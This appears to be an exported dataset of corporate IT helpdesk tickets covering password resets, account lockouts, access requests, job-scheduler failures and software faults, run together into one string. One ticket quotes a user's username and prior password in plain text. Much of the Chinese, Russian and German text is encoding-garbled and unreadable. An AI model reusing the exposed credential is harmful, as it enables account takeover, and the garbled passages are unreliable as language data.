job Job\_485 failed in job\_scheduler at: 10/25/2016 02:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ieæµè§ˆå™¨æ‰“å¼€crmç³»ç»ŸåŽæç¤ºç”¨æˆ·å·²è¢«æ³¨é”€ï¼Œæ— æ³•ç™»å½•crmç³»ç»Ÿã€‚, Description: ieæµè§ˆå™¨æ‰“å¼€crmç³»ç»ŸåŽæç¤ºç”¨æˆ·å·²è¢«æ³¨é”€ï¼Œæ— æ³•ç™»å½•crmç³»ç»Ÿã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: access to s drive., Description: \_x000D\_
\_x000D\_
received from: wnvlmsjr.znbvlygd@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
kindly request to give access to s drive.\_x000D\_
\_x000D\_
s:\globalengservices\\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: kindly add user id : trhsydsff to erp business analytics team in ticketing\_tool tool, Description: kindly add user id : trhsydsff to erp business analytics team in ticketing\_tool tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/25/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/25/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: desktop item missing when save attachment ., Description: desktop item missing when save attachment ., is assigned to Assignment group: GRP\_31.Ticket with Short description: HostName\_1030 is currently experiencing high cpu utilization. please investigate!, Description: HostName\_1030 is currently experiencing high cpu utilization. please investigate!, is assigned to Assignment group: GRP\_12.Ticket with Short description: mass - upload programdnty changes to condition table a520 in crm, Description: mass - upload programdnty changes to condition table a520 in crm\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: server lnbdm839 (active directory) located in philadelphâ€‹ia is down since 12:25 am et on 10/25., Description: server lnbdm839 (active directory) located in philadelphâ€‹ia is down since 12:25 am et on 10/25., is assigned to Assignment group: GRP\_39.Ticket with Short description: xtsuifdz.wktgzcyl@gmail.com is blocked now as the user said, Description: xtsuifdz.wktgzcyl@gmail.com is blocked now as the user said, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to //HostName\_95/departments/backorderreports, Description:
received from: avurmegj.pxgmjynu@gmail.com
please give full access to user trhadg45 for folder mentioned in the subject.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: the user's account is blocked now (xtsuifdz.wktgzcyl@gmail.com), Description: name:dbwkxalj cnhgysju
language:
browser:microsoft internet explorer
email:dbwkxalj.cnhgysju@gmail.com
customer number:
summary:the user's account is blocked now (xtsuifdz.wktgzcyl@gmail.com), is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1330 failed in job\_scheduler at: 10/25/2016 00:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1330 failed in job\_scheduler at: 10/25/2016 00:12:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: zeitdaten fÃ¼r germany steel fehlen, Description: seit gestern ca. 15.00 uhr fehlen alle zeitdaten. daten werden dringend fÃ¼r die tÃ¤glichen auswertungen (leistungsgrad u.s.w.) benÃ¶tigt, is assigned to Assignment group: GRP\_33.Ticket with Short description: network outage:poncacity -germany-dmvpn router is down since 11:23 am et on 10/24., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_\_\_\_11:23 am et on 10/24.\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: :i am unable to open the collaboration\_platform link shared by my europe counterpart., Description: name:theajdlkadyt hrtgsd
language:
browser:microsoft internet explorer
email:lqipwdeg.dkbmjnvl@gmail.com
customer number:
summary:i am unable to open the collaboration\_platform link shared by my europe counterpart.
\\eagl8111432\users\schetrhsdlw\collaboration\_platform - company inc-\k12526634, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not reach to password\_management\_tool password manager to change my password, Description: name:mitgckqf ewourgcx
language:
browser:microsoft internet explorer
email:mitgckqf.ewourgcx@gmail.com
customer number:
summary:i can not reach to password\_management\_tool password manager to change my password, is assigned to Assignment group: GRP\_0.Ticket with Short description: : k-bngell-cgdaytshqsd <k-bngell-cgdaytshqsd@company.onmicrosoft.com>, Description:
received from: lvxakohq.tsfnhowj@gmail.com
hello ,
pl add my name in to this team.
also i need administrative control of this since i have heading this team after ndthwedwys rao left company.
with kind , is assigned to Assignment group: GRP\_19.Ticket with Short description: job SID\_39filesys failed in job\_scheduler at: 10/24/2016 21:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_39filesys failed in job\_scheduler at: 10/24/2016 21:53:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: msd - office 2013 outlook æ‰“ä¸å¼€ï¼Œæ˜¾ç¤ºæ— æ³•åˆ›å»ºæ–°çš„å †æ ˆé˜²æŠ¤é¡µé¢, Description: please provide details of the issue.
[â€Ž2016/â€Ž10/â€Ž25 9:36] melhduty gqchtedl:
hi
æˆ‘çš„ç”µè„‘é‚®ç®±æ‰“ä¸å¼€äº†
ä½ å¯ä»¥å¸®æˆ‘å—ï¼Ÿ
è°¢è°¢
[â€Ž2016/â€Ž10/â€Ž25 9:38] melhduty gqchtedl:
æ˜¾ç¤ºç³»ç»Ÿé”™è¯¯
æ˜¾ç¤ºæ— æ³•åˆ›å»ºæ–°çš„å †æ ˆé˜²æŠ¤é¡µé¢
[â€Ž2016/â€Ž10/â€Ž25 9:40] obuwfnkm ufpwmybi:
æŠŠä½ æ¡Œé¢å…±äº«ç»™æˆ‘
[â€Ž2016/â€Ž10/â€Ž25 9:41] melhduty gqchtedl:
id
, is assigned to Assignment group: GRP\_31.Ticket with Short description: çœ‹ä¸è§a3 çš„æ–‡ä»¶å¤¹ï¼ˆ\\HostName\_17\teams\business\ a3 ï¼‰ï¼Œè¯·å¸®å¿™å¼„ä¸€ä¸‹ã€‚sahtym wanthryg , Description: çœ‹ä¸è§a3 çš„æ–‡ä»¶å¤¹ï¼ˆ\\HostName\_17\teams\business\ a3 ï¼‰ï¼Œè¯·å¸®å¿™å¼„ä¸€ä¸‹ã€‚sahtym wanthryg , is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_568 failed in job\_scheduler at: 10/24/2016 20:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_568 failed in job\_scheduler at: 10/24/2016 20:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: october cyber security month - ransomware, Description: october cyber security month - ransomware, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms outlook stopped updating (cant receive or send e-mails since fr.10/21/16) , Description: please check lfal8512946. looks like bothms office 2010& 2016 installed? ii have an access database that won't work with 2016. 7:30am-4pm pacific 775-432-6109, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_872730, Description: ticket update on inplant\_872730, is assigned to Assignment group: GRP\_0.Ticket with Short description: logon balancing error on erp SID\_34, Description: logon balancing error on erp SID\_34
user brandtrhee pjdhfitman called on behalf of user, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_738 failed in job\_scheduler at: 10/24/2016 17:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_738 failed in job\_scheduler at: 10/24/2016 17:32:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: backup on company provided mobile phone, Description: backup on company provided mobile phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: purchasingupstreamsso and ad for qpixeudn rjlziysd, Description: please create an purchasingupstreamsso and ad for qpixeudn rjlziysd (bachsdadgtadw). the samaccountname in ad is to be all lowercase. , is assigned to Assignment group: GRP\_2.Ticket with Short description: badges for msc training, Description:
received from: gdkiehbr.kdithjsr@gmail.com
please activate the badge numbers below for the msc training.
they need to be active from monday october 31st at 7:00 am cst to thursday november 3rd at 5:00 pm cst
54654657
54651789
54653756
, is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot get into crm, Description: missing the sales & markhtyeting tab from the enterprise portal which gives access to crm, so i don't have access to crm, is assigned to Assignment group: GRP\_2.Ticket with Short description: please provide access, Description:
received from: tbvpkjoh.wnxzhqoa@gmail.com
i need access to the following path. please see pmgzjikq potmrkxy for approval.
tbvpkjoh wnxzhqoa
company usa plant controller
tbvpkjoh.wnxzhqoa@gmail.com<mailto:tbvpkjoh.wnxzhqoa@gmail.com>
, is assigned to Assignment group: GRP\_16.Ticket with Short description: ticket update on inplant\_872683, Description: ticket update on inplant\_872683, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to collaboration\_platform // password reset, Description: unable to login to collaboration\_platform // password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: all my calls to my ip phone are going to warehouse\_toolmail, it is not even ringing. , Description: all my calls to my ip phone are going to warehouse\_toolmail, it is not even ringing. , is assigned to Assignment group: GRP\_3.Ticket with Short description: sales area selection on opportunities not filtering to those in which the account is extended. instead it shows all. , Description: sales area selection on opportunities not filtering to those in which the account is extended. see attached email communication including example for account # 81877788768., is assigned to Assignment group: GRP\_40.Ticket with Short description: pc not detecting docking station, Description: pc not detecting docking station, is assigned to Assignment group: GRP\_3.Ticket with Short description: having trouble connecting to companysecure, Description: jeftryhf is having trouble connecting to companysecure at remote sites and usa. , is assigned to Assignment group: GRP\_3.Ticket with Short description: i cannot log into erp. , Description: i tried rebooting the computer and i tried logging into another computer and i get a blank screen., is assigned to Assignment group: GRP\_41.Ticket with Short description: request to reset microsoft online services password for szrglyte.stvyhzxn@gmail.com, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: monday, october 24, 2016 6:07 pm
to: nwfodmhc exurcwkm
cc:
subject: shadakjsdd request to reset microsoft online services password for szrglyte.stvyhzxn@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ szrglyte.stvyhzxn@gmail.com
â€¢ first name: twejhda
â€¢ last name: asjadjs
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa file server, HostName\_1326, has failed hard drive, Description: usa file server, HostName\_1326, has failed hard drive, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to display the expense report, Description: unable to display the expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call //gso, Description: blank call //gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock account the user aeftjxos lhnyofad - id: vvsardkajdjtf, Description: hi team,
could you please unlock account the user aeftjxos lhnyofad - id: vvsardkajdjtf. case this account was expired, please extend the access for the account, the manager this user is zuyimtsf qjtimdsp - please contact majsdtnrio.
or, if you have more doubts please return me ..
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to login to outlook, Description: from: rjsulvat uanigkqc
sent: monday, october 24, 2016 7:36 pm
to: nwfodmhc exurcwkm
subject: thadasgg fwd: problem with outlook
it is again
Ð¾Ñ‚Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¾ Ñ iphone
Ð½Ð°Ñ‡Ð°Ð»Ð¾ Ð¿ÐµÑ€ÐµÐ°Ð´Ñ€ÐµÑÐ¾Ð²Ð°Ð½Ð½Ð¾Ð³Ð¾ ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ:
Ð¾Ñ‚: "rjsulvat uanigkqc" <rjsulvat.uanigkqc@gmail.com>
ÐºÐ¾Ð¼Ñƒ: "nwfodmhc exurcwkm" <nwfodmhc.exurcwkm@gmail.com>
Ñ‚ÐµÐ¼Ð°: problem with outlook
hello.
i cannot start outlook
Ð¾Ñ‚Ð¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¾ Ñ iphone
, is assigned to Assignment group: GRP\_0.Ticket with Short description: logon balancing error in erp, Description: logon balancing error in erp, is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook freezing issue, Description: outlook freezing issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: the username ccghksdm787 will be used to login to company via citrix, Description: hello,
the username ccghksdm787 will be used to login to company via citrix
i assume that we need to delete this user profile on the citrix servers so please send a ticket to the citrix team because his account in active directory is not locked
oinqckds qieswrfu
manager
oinqckds.qieswrfu@gmail.com
gesendet: dienstag, 18. oktober 2016 16:40
an: oinqckds qieswrfu
betreff: password
hi ,
can you please reset my account so i can login again.
my user is : ccghksdm787
my last password was: pr03bsddqd99
it doesnt work so i cant login at the moment.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: prtgghj4k access locked, Description: jgdydqqd locked me out. i tried going onto password\_management\_tool to reset my password but jgdydqqd isn't listed. can you please unlock my account aerp? , is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to connect to the home internet, Description: internet connection does not appear to be working - wireless, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in reporting\_tool, Description: \_x000D\_
\_x000D\_
received from: vmeljsfb.ymxejsbd@gmail.com\_x000D\_
\_x000D\_
hello, i am unable to sign into reporting\_tool. can someone please assist me with my correct user name and password? i have never signed into it before.\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: vitalyst transfer: crm calendar not showing on outlook, Description: vitalyst transfer: crm calendar not showing on outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access erp through my vpn connection, Description: working from home, started vpn, cannot access erp. keep getting logon balancing error 88. suggest submitting to it team at usa., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation., Description: hello colleagues,
would you please be so kind and activate the new iphone of hybegvwo dbgrtqhs (company\kstdaddaad )
details, please see mail below.
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: a kÃ¼ndigung for eluvxqhw gpbfkqeu, 11166428, effective 28.02.2017 has been approved. , Description: hello , \_x000D\_
\_x000D\_
a kÃ¼ndigung for eluvxqhw gpbfkqeu, 11166428, effective 28.02.2017 has been approved. \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: password reset., Description: from: nwfodmhc exurcwkm
sent: monday, october 24, 2016 9:49 pm
to: uzpycdho hdswinlo; ustvaifg hmzfewks
subject: uzpycdho hdswinlo, your windows password is expiring soon!!
hi ,
unfortunately it is an automatic process. we cannot extend the time period.
once you come back from vacation please give us a call back. we will reset the password for you.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp , Description: name:fievgddtrr
language:
browser:microsoft internet explorer
email:hpelnwco.byjgvdzf@gmail.com
customer number:
telephone:
summary: erp bloqued
too many failes attempts.
tanks, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype online meeting freezing, Description: unable to join a skype meeting.\_x000D\_
skype keeps freezing., is assigned to Assignment group: GRP\_27.Ticket with Short description: unable to connect to company center // sales org not working, Description: unable to connect to company center // sales org not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to global\_telecom\_1 broadband, Description: name:joetrhud
language:
browser:microsoft internet explorer
email:eziswfym.cehwzojy@gmail.com
customer number:
telephone:
summary:unable to connect to internet using broadband service., is assigned to Assignment group: GRP\_0.Ticket with Short description: password has expired, Description: garthyhtuy was out of office for a long time, and needs assistance with logging back in to the pc now.
he is in office at the moment., is assigned to Assignment group: GRP\_0.Ticket with Short description: summary:attendance\_tool password forgot., Description: name:kirathrydan
language:
browser:microsoft internet explorer
email:jchlkard.tcaiyjfg@gmail.com
customer number:
telephone:
summary:attendance\_tool password forgot, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp zqt pntp and zntc price not calculating on quote 2005151099, Description: erp quote pntp net price and zntc unit price are $0.00 but all costs are loaded. see screenshots in email attached. need quote to send to customer for ordering
, is assigned to Assignment group: GRP\_13.Ticket with Short description: could not use bobjee application: search and explorer analytics / erp netweaver portal, Description: error message: it was not possible to retrieve the facets and their values.\_x000D\_
can't start exploring the information space as it doesn't contain any data., is assigned to Assignment group: GRP\_9.Ticket with Short description: us time change, Description:
received from: xabkyoug.wdkyiqfx@gmail.com
hi team,
below is the hub posting to be published for us time change aerp. revert if you have any questions.
planned service disruption
what is the event? (daylight savings time ends in u.s.)
when does it begin? (6:00 pm edt saturday, 5th-november-2016)
when does it end? (following time change, 2:00 am est sunday, 06-november-2016)
who and what will be affected? (all erp users, all erp systems including erp, plm, bw, crm, supply\_chain, hcm)
what is the reason? (all erp systems must be stopped during time change to prevent data inconsistency.)
questions?
(corporate datacenter â€“)
(xabkyoug wdkyiqfx, nvyjtmca xjhpznds & network operations)
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1020-idb-daily failed in job\_scheduler at: 10/24/2016 10:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1020-idb-daily failed in job\_scheduler at: 10/24/2016 10:13:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: 2 in 1 has cracked screen, but turned off touch screen. so no longer jumps curser around., Description: 2 in 1 has cracked screen, but turned off touch screen. so no longer jumps curser around.
phone:
pc name: lmsl8300803trys, is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset for uacyltoe hxgayczemii8, Description: name:dctvfjrn oypnxftq
language:
browser:microsoft internet explorer
email:dctvfjrn.oypnxftq@gmail.com
customer number:
telephone:
summary:reset the password for aolhgbps pbxqtcek uacyltoe hxgayczemii8, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype , Description: unable to login to skype , is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop issues, Description:
received from: lwizucan.zvnxlobq@gmail.com
hallo,
my outlook collapsed two times. i tried to restart my laptop, but it doesn't startup anymore. restarting is on my screen for already half an hour.
[image1.jpg]
met vriendelijke groet,
lwizucan zvnxlobq
directeur company
lwizucan.zvnxlobq@gmail.com<mailto:lwizucan.zvnxlobq@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: receiving collaboration\_platform deletion emails in not in english, Description:
received from: gvxfymjk.euioadyf@gmail.com
why are these coming in spanish?
i have already told lothryra what they mean, but they should be in english.
please enter a ticket for collaboration.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to open outlook, Description: unable to open outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: ip address conflict , Description: carthygyrol is back in the office after few weeks off, she saw an ip address conflict message.
requested to restart and she did not see the message again., is assigned to Assignment group: GRP\_0.Ticket with Short description: scan doesn't work in the home printer, Description: scan doesn't work in the home printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account lock out., Description: erp SID\_34 account lock out.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype meeting add-in getting disabled from outlook, Description: skype meeting add-in getting disabled from outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: i canÂ´t connect my note book to the " vpn ", Description: i canÂ´t connect my note book to the vpn " "\_x000D\_
page csn not be shown., is assigned to Assignment group: GRP\_0.Ticket with Short description: the password for "infosthryda" has expired. south amerirtca erp not working., Description: today the erp is not working. while attempting to use the erp client, it shows a message (attached): "37000: microsoft odbc vmsliazh ltksxmyv driver. login failed for user "infosthryda". reason: the password of the account has expired".
we have contacted the vendor that said the password is expired due to settings configured by company dba team. dba team should unlock account, cahnge password and setup the erp with the new password., is assigned to Assignment group: GRP\_1.Ticket with Short description: reset passwords for mgvpoyqd tnlshpwb using password\_management\_tool password reset., Description: reset passwords for mgvpoyqd tnlshpwb using password\_management\_tool password reset., is assigned to Assignment group: GRP\_17.Ticket with Short description: speaker not working in skype, Description: \_x000D\_
\_x000D\_
received from: weupycai.epqhduro@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am facing the issue of no sound during skype meeting. kindly do needful.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: problem of ticket\_no1561937 which was fixed with chg1145039 has back, Description: regarding ticket\_no1561937 which was fixed with chg1145039, key user reported in the attached email that the application is showing the problem again today.\_x000D\_
we have contacted the vendor and they told us they will verify but have recommended to run the command again while they are investigating. also they have suggested us to involve the dba team to also verify. it seems the db is missing information.\_x000D\_
, is assigned to Assignment group: GRP\_1.Ticket with Short description: ts04562 printer isn't printing, Description: name:gqhfieys pkwcdbrv
language:
browser:microsoft internet explorer
email:gqhfieys.pkwcdbrv@gmail.com
customer number:
telephone:
summary:ts04562 printer still not working after system restart, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit fixiereinheit we101 \qvncizuf ueiybanz, Description: probleme mit fixiereinheit we101 \qvncizuf ueiybanz, is assigned to Assignment group: GRP\_24.Ticket with Short description: efrjkspc sfhbunrp, your windows password is expiring soon!!, Description: from: efrjkspc sfhbunrp
sent: monday, october 24, 2016 11:54 am
to: nwfodmhc exurcwkm
subject: - aw: efrjkspc sfhbunrp, your windows password is expiring soon!!
importance: high
hello.
i have changed my password a few day days ago.
why get i this reminder?
please inform me if i have change again?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: aw: teams drive folder retention/deletion - please review and respond, Description: \_x000D\_
\_x000D\_
received from: oxkhntpl.xwszgidt@gmail.com\_x000D\_
\_x000D\_
hello it support,\_x000D\_
\_x000D\_
could you please give mr. vxpcnrtw xelhoicd the permission to read and write, load and upload files from the global teams drive for the folder gm-sge-programdnty?\_x000D\_
many , is assigned to Assignment group: GRP\_34.Ticket with Short description: usa ou deletion, Description: all groups, qlhmawgi sgwipoxns and ou's for usatdhdal can be deleted. usatdhdal ou can also be deleted, is assigned to Assignment group: GRP\_2.Ticket with Short description: uacyltoe hxgaycze, Description: name:tqnbkjgu xyedbsnm
language:
browser:microsoft internet explorer
email:tqnbkjgu.xyedbsnm@gmail.com
customer number:
telephone:
summary:uacyltoe hxgaycze 2
, is assigned to Assignment group: GRP\_0.Ticket with Short description: billing block not removed automatically, Description: hello it,\_x000D\_
\_x000D\_
please check, why billing block was not removed automatically.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: need to create the delivery note for sto 5019202486, but it wonÂ´t work, Description: need to create the delivery note for sto 5019202486, but it wonÂ´t work, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp SID\_34 erp production password reset, Description: name:chtrhysdrystal
language:
browser:microsoft internet explorer
email:oxkghdbr.dsyvalof@gmail.com
customer number:
telephone:
summary:good morning. can you please reset my erp password?, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to install ts02345 printer, Description: need to install ts02345 printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: urgent - users in germany are reporting that they cannot reach gso using the chat feature, Description: tqnbkjgu xyedbsnm reported that he and his colleagues are unable to reach gso using the chat.\_x000D\_
when they fill out the form, the next page comes up only with the company logo.\_x000D\_
, is assigned to Assignment group: GRP\_21.Ticket with Short description: new iphone activation / die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis d, Description:
received from: ecwtrjnq.jpecxuty@gmail.com
hello colleagues,
would you please be so kind and activate the new iphone of hybegvwo dbgrtqhs (company\sdjdskjdkyr )
details, please see mail below.
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access : :\\HostName\_753\departements\aese\thryad , Description: folder access : :\\HostName\_753\departements\aese\thryad
read & write access needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: in outlook and all other microsoft applications a message appears saying: product deactivated, Description: in outlook and all other microsoft applications a message appears saying: product deactivated\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop bettery issue, Description: facing charging issue.
computer name : aidl89110765e6
service tag : dcd1hz1hd.
, is assigned to Assignment group: GRP\_19.Ticket with Short description: reset passwords for bfnvjgxd trqmnpvu using password\_management\_tool password reset., Description: reset passwords for bfnvjgxd trqmnpvu using password\_management\_tool password reset., is assigned to Assignment group: GRP\_17.Ticket with Short description: druckerfunktionsstÃ¶rung, Description: \_x000D\_
\_x000D\_
received from: fdqjsygx.aivdjqtr@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
der drucker â€žem96" scannt keine dokumente ein.\_x000D\_
\_x000D\_
fehlermeldung: zugriff Ã¼berprÃ¼fen fÃ¼r folgende ziele fehlgeschlagen:\_x000D\_
\_x000D\_
\\HostName\_579\\_kmscan\em96<file:///\\HostName\_579\\_kmscan\em96>: der pfad kann nicht gefunden werden.\_x000D\_
\_x000D\_
der fehler lÃ¤sst sich auch durch mehrmaliges ein- und ausschalten nicht beheben.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_42.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp- gesperrt fehlversuche kennwort gesperrt, Description: bitte erp freischalten fehlversuche, is assigned to Assignment group: GRP\_0.Ticket with Short description: password is not synchronized., Description: password is not synchronized., is assigned to Assignment group: GRP\_0.Ticket with Short description: pc der maschine r45 defekt, Description: pc der maschine r45 fÃ¤hrt nicht mehr hoch., is assigned to Assignment group: GRP\_33.Ticket with Short description: pc awywx00067004 in rddept qlhmawgi sgwipoxn is not getting network connection, Description: pc awywx00067004 in rddept qlhmawgi sgwipoxn is not getting network connection, is assigned to Assignment group: GRP\_19.Ticket with Short description: call from salesforce for hathryrtmut, Description: caller named benjamtrhdyin from salesforce wanted to talk to hathryrtmut, is assigned to Assignment group: GRP\_0.Ticket with Short description: bug in employee extract programdnty - reportncqulao qauighdpnager is appearing blank., Description: bug in employee extract programdnty - reportncqulao qauighdpnager is appearing blank., is assigned to Assignment group: GRP\_10.Ticket with Short description: EU\_tool in germany steel ohne funktion - rÃ¼ckmelden geht nicht!!!!, Description: EU\_tool in germany steel ohne funktion - rÃ¼ckmelden geht nicht!!!!, is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_579 failed in job\_scheduler at: 10/24/2016 05:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_579 failed in job\_scheduler at: 10/24/2016 05:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: msd crm error opening outlook, Description: hello\_x000D\_
when open outlook crm goes on erro with .net and if i press continue i can work with outlook but not with crm plug-in.\_x000D\_
otherwise outlook crash., is assigned to Assignment group: GRP\_0.Ticket with Short description: wk38 - qdxyifhj zbwtunpy, Description: hallo, kannst du einmal nachsehen, wo der e-mail button ist am drucker. er ist weg! :-) danke. uwe, is assigned to Assignment group: GRP\_33.Ticket with Short description: hi, few users are not able to logon to crm website., Description: link :
users:
ottyhddok
thielpwii2e
lobodeid2d
loksdkdjwda
please get in touch with them, is assigned to Assignment group: GRP\_33.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: activation of outlook email access on samsung s7 edge device for nzuofeam exszgtwd, Description:
received from: kbclinop.vsczklfp@gmail.com
hi,
please usa email access on new samsung s7 device for nzuofeam exszgtwd (md apac & vp cpmmecial). please find information as follow :
email: gjbcengineering\_tooll.gidsekfo@gmail.com
manager's name : chucashadqc wsljdqqds
is this a replacement of your old device? yes, as the existing old samsung s5 phone is no longer in use. please remove access on the old samsung s5 device.
